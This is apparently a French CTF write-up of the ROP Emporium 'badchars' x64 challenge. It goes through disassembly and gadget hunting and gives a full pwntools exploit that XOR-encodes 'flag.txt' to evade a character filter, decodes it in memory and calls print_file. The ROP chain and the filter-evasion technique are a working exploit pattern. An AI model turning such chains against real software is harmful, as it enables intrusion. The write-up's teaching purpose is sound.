8 minutes
🇫🇷 ROPEmporium - badchars (x64)
Note
Cinquièment exo de ROPemporium, je le trouve moins sympa que les autres. Il reprend le principe du challenge précédent, mais il introduit un nouveau gadget pour contourner le “filtre”: le xor
Comme d’habitude, si j’ai fait des erreurs, n’hésitez pas à me contacter sur discord pour me le dire.
Si vous ne comprenez pas quelque chose, je vous invite à regarder la série dans l’ordre.
Et je vous conseille fortement de lire l’exercice précédent pour mieux comprendre ce que je fais ici puisque la méchanique principale est la même.
Description
The good, the bad
Dealing with bad characters is frequently necessary in exploit development, you've probably had to deal with them before while encoding shellcode. "Badchars" are the reason that encoders such as shikata-ga-nai exist. When constructing your ROP chain remember that the badchars apply to every character you use, not just parameters but addresses too. To mitigate the need for too much RE the binary will list its badchars when you run it.
Options
ropper has a bad characters option to help you avoid using gadgets whose address will terminate your chain prematurely, it will certainly come in handy. Note that the amount of garbage data you'll need to send to the ARM challenge is slightly different.
Moar XOR
You'll still need to deal with writing a string into memory, similar to the write4 challenge, that may have badchars in it. Once your string is in memory and intact, just use the print_file() method to print the contents of the flag file, just like in the last challenge. Think about how we're going to overcome the badchars issue; should we try to avoid them entirely, or could we use gadgets to change our string once it's in memory?
File information
Avant de commencer à regarder dans l’executable, il faut savoir à quoi on s’attaque, on va utiliser file
pour avoir des informations sur le fichier, puis checksec
pour voir les éventuelles sécuritées avec lesquelles il a été compilé
file badchars
badchars: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6c79e265b17cf6845beca7e17d6d8ac2ecb27556, not stripped
On va donc s’attaquer à un executable en 64bit, linké dynamiquement et qui n’est pas strippé
Maintenant le checksec
:
checksec badchars
[*] '/home/conflict/ropemporium/badchars_x64/badchars'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Comme pour le précédent, NX est activé donc pas de shellcode, mais ce n’est pas un problème puisque la description de l’exercice nous indique exactement quoi faire
Exploitation
On va le lancer pour voir ce qu’il fait concrètement:
On voit que si on entre un nombre élevé de bytes dans l’input le programme plante (segfault
), ce qui veut dire qu’on a commencé à overwrite des registres.
Je vais passer assez vite sur la première partie de l’exploit puisque c’est la même chose que l’exo précédent
pwndbg> disass pwnme
Dump of assembler code for function pwnme:
=> 0x00007ffff7c008fa <+0>: push rbp
0x00007ffff7c008fb <+1>: mov rbp,rsp
0x00007ffff7c008fe <+4>: sub rsp,0x40
0x00007ffff7c00902 <+8>: mov rax,QWORD PTR [rip+0x2006cf] # 0x7ffff7e00fd8
0x00007ffff7c00909 <+15>: mov rax,QWORD PTR [rax]
0x00007ffff7c0090c <+18>: mov ecx,0x0
0x00007ffff7c00911 <+23>: mov edx,0x2
0x00007ffff7c00916 <+28>: mov esi,0x0
0x00007ffff7c0091b <+33>: mov rdi,rax
0x00007ffff7c0091e <+36>: call 0x7ffff7c007e0 <setvbuf@plt>
0x00007ffff7c00923 <+41>: lea rdi,[rip+0x17a] # 0x7ffff7c00aa4
0x00007ffff7c0092a <+48>: call 0x7ffff7c00780 <puts@plt>
0x00007ffff7c0092f <+53>: lea rdi,[rip+0x187] # 0x7ffff7c00abd
0x00007ffff7c00936 <+60>: call 0x7ffff7c00780 <puts@plt>
0x00007ffff7c0093b <+65>: lea rax,[rbp-0x40]
0x00007ffff7c0093f <+69>: add rax,0x20
0x00007ffff7c00943 <+73>: mov edx,0x20
0x00007ffff7c00948 <+78>: mov esi,0x0
0x00007ffff7c0094d <+83>: mov rdi,rax
0x00007ffff7c00950 <+86>: call 0x7ffff7c007b0 <memset@plt>
0x00007ffff7c00955 <+91>: lea rdi,[rip+0x16c] # 0x7ffff7c00ac8
0x00007ffff7c0095c <+98>: call 0x7ffff7c00780 <puts@plt>
0x00007ffff7c00961 <+103>: lea rdi,[rip+0x181] # 0x7ffff7c00ae9
0x00007ffff7c00968 <+110>: mov eax,0x0
0x00007ffff7c0096d <+115>: call 0x7ffff7c007a0 <printf@plt>
0x00007ffff7c00972 <+120>: lea rax,[rbp-0x40]
0x00007ffff7c00976 <+124>: add rax,0x20
0x00007ffff7c0097a <+128>: mov edx,0x200
0x00007ffff7c0097f <+133>: mov rsi,rax
0x00007ffff7c00982 <+136>: mov edi,0x0
0x00007ffff7c00987 <+141>: call 0x7ffff7c007c0 <read@plt>
0x00007ffff7c0098c <+146>: mov QWORD PTR [rbp-0x40],rax
0x00007ffff7c00990 <+150>: mov QWORD PTR [rbp-0x38],0x0
0x00007ffff7c00998 <+158>: jmp 0x7ffff7c009eb <pwnme+241>
0x00007ffff7c0099a <+160>: mov QWORD PTR [rbp-0x30],0x0
0x00007ffff7c009a2 <+168>: jmp 0x7ffff7c009d5 <pwnme+219>
0x00007ffff7c009a4 <+170>: mov rax,QWORD PTR [rbp-0x38]
0x00007ffff7c009a8 <+174>: movzx ecx,BYTE PTR [rbp+rax*1-0x20]
0x00007ffff7c009ad <+179>: mov rax,QWORD PTR [rbp-0x30]
0x00007ffff7c009b1 <+183>: mov rdx,QWORD PTR [rip+0x200628] # 0x7ffff7e00fe0
0x00007ffff7c009b8 <+190>: movzx eax,BYTE PTR [rdx+rax*1]
0x00007ffff7c009bc <+194>: cmp cl,al
0x00007ffff7c009be <+196>: jne 0x7ffff7c009c9 <pwnme+207>
0x00007ffff7c009c0 <+198>: mov rax,QWORD PTR [rbp-0x38]
0x00007ffff7c009c4 <+202>: mov BYTE PTR [rbp+rax*1-0x20],0xeb
0x00007ffff7c009c9 <+207>: mov rax,QWORD PTR [rbp-0x30]
0x00007ffff7c009cd <+211>: add rax,0x1
0x00007ffff7c009d1 <+215>: mov QWORD PTR [rbp-0x30],rax
0x00007ffff7c009d5 <+219>: mov rax,QWORD PTR [rbp-0x30]
0x00007ffff7c009d9 <+223>: cmp rax,0x3
0x00007ffff7c009dd <+227>: jbe 0x7ffff7c009a4 <pwnme+170>
0x00007ffff7c009df <+229>: mov rax,QWORD PTR [rbp-0x38]
0x00007ffff7c009e3 <+233>: add rax,0x1
0x00007ffff7c009e7 <+237>: mov QWORD PTR [rbp-0x38],rax
0x00007ffff7c009eb <+241>: mov rdx,QWORD PTR [rbp-0x38]
0x00007ffff7c009ef <+245>: mov rax,QWORD PTR [rbp-0x40]
0x00007ffff7c009f3 <+249>: cmp rdx,rax
0x00007ffff7c009f6 <+252>: jb 0x7ffff7c0099a <pwnme+160>
0x00007ffff7c009f8 <+254>: lea rdi,[rip+0xed] # 0x7ffff7c00aec
0x00007ffff7c009ff <+261>: call 0x7ffff7c00780 <puts@plt>
0x00007ffff7c00a04 <+266>: nop
0x00007ffff7c00a05 <+267>: leave
0x00007ffff7c00a06 <+268>: ret
End of assembler dump.
Notre padding va être de 0x20+0x8
bytes.
readelf -S badchars
There are 29 section headers, starting at offset 0x1980:
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
<...>
[23] .data PROGBITS 0000000000601028 00001028
0000000000000010 0000000000000000 WA 0 0 8
<...>
.data
est situé à l’adresse 0x00601028
et la section a le flag W
, donc on peut écrire dedans.
ROPgadget --binary badchars | grep ": mov"
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400635 : mov dword ptr [rbp], esp ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x0000000000400602 : mov ebp, esp ; pop rbp ; jmp 0x400590
0x000000000040057c : mov edi, 0x601038 ; jmp rax
0x0000000000400634 : mov qword ptr [r13], r12 ; ret
0x0000000000400601 : mov rbp, rsp ; pop rbp ; jmp 0x400590
On a un mov qword ptr [r13], r12 ; ret
situé à 0x00400634
qui va nous servir à écrire dans .data
.
ROPgadget --binary badchars | grep ": pop"
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x0000000000400604 : pop rbp ; jmp 0x400590
0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
Avec ça, on a un pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
situé à 0x0040069b
qu’on va utiliser avec le mov
.
Tant qu’à faire, on peut aussi garder de côté le pop rdi ; ret
(0x004006a3
) et le pop r14 ; pop r15 ; ret
(0x004006a0
).
ROPgadget --binary badchars | grep ": xor"
0x0000000000400628 : xor byte ptr [r15], r14b ; ret
On met aussi ce xor
de côté puisqu’il va nous servir à un-XOR le string une fois en mémoire.
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x00000000004004d8 _init
0x0000000000400500 pwnme@plt
0x0000000000400510 print_file@plt
0x0000000000400520 _start
0x0000000000400550 _dl_relocate_static_pie
0x0000000000400560 deregister_tm_clones
0x0000000000400590 register_tm_clones
0x00000000004005d0 __do_global_dtors_aux
0x0000000000400600 frame_dummy
0x0000000000400607 main
0x0000000000400617 usefulFunction
0x0000000000400628 usefulGadgets
0x0000000000400640 __libc_csu_init
0x00000000004006b0 __libc_csu_fini
0x00000000004006b4 _fini
print_file()
est située à 0x00400510
L’idée va donc être de:
- Mettre dans
.data
un string qui correspond à “flag.txt” XORé avec une clé de 2 - Ensuite, on va le un-XOR avec notre gadget
xor
une fois qu’il est déjà dans la mémoire - Enfin, on appelle
print_file()
avec notre string en paramètre
Ceci va nous permettre de contourner le “filtre” puisque le string qu’on va entrer dans l’input ne contiendra aucun des badchars, c’est seulement une fois en mémoire qu’ils seront apparaîtront (magic)
Final Payload
Voici donc notre payload:
Note: j’ai dû ajouter 8 à l’adresse de
.data
puisque sinon il y avait un badchar dans l’adresse elle même et elle se faisait filtrer
#!/usr/bin/env python3
from pwn import *
context.binary = binary = ELF("./badchars", checksec=False)
p = process()
p.recv()
flag = "flag.txt"
flaglist = list(flag)
xored_flag = ""
# On xor notre string
for i in range (0, len(flaglist)):
flaglist[i] = chr(ord(flaglist[i])^2)
xored_flag += "".join(flaglist[i])
padding = b"A"*0x20
rbp = b"B"*0x8
ret = p64(0x004004ee)
pop_r12_r13_r14_r15 = p64(0x0040069c)
# Pour éviter des problèmes de type, on va prendre uniquement la valeur décimale de .data
# +8
data = 6295600
mov_ptr_r13_r12 = p64(0x00400634)
pop_r14_r15 = p64(0x004006a0)
xor_byte_ptr_r15_r14 = p64(0x00400628)
pop_rdi = p64(0x004006a3)
print_file = p64(0x00400510)
payload = padding + rbp + ret
# On écrit notre "flag.txt" XORé dans r12, l'adresse de .data dans r13 puis on remplit les deux autres registres de null bytes
# On met ensuite notre string dans l'adresse vers laquelle pointe r13 (càd .data)
payload += pop_r12_r13_r14_r15
payload += str.encode(xored_flag)
payload += p64(data)
payload += p64(0x0)
payload += p64(0x0)
payload += mov_ptr_r13_r12
# On fait l'opération suivante 8 fois car elle doit être faite pour chaque caractère du string
# ("flag.txt" = 8 bytes)
for i in range(8):
# On met 0x2 (càd la clé avec laquelle on a XOR notre string) dans r14
# Puis on met l'adresse de data+i dans r15, car on va devoir un-xor caractère par caractère
# On XOR ensuite le l'adresse vers laquelle pointe r15 (.data+i) avec r14 (la clé)
payload += pop_r14_r15
payload += p64(2)
payload += p64(data+i)
payload += xor_byte_ptr_r15_r14
# Enfin, on met notre string un-XORé dans rdi, puis on appelle la fonction print_file()
payload += pop_rdi
payload += p64(data)
payload += print_file
with open("payload.txt", "wb") as f:
f.write(payload)
f.close()
p.sendline(payload)
print("Flag:",p.recvall().split(b"\n")[1].decode('utf-8'))
On peut tester le payload pour s’assurer qu’il fonctionne:
Et il fonctionne ! gg !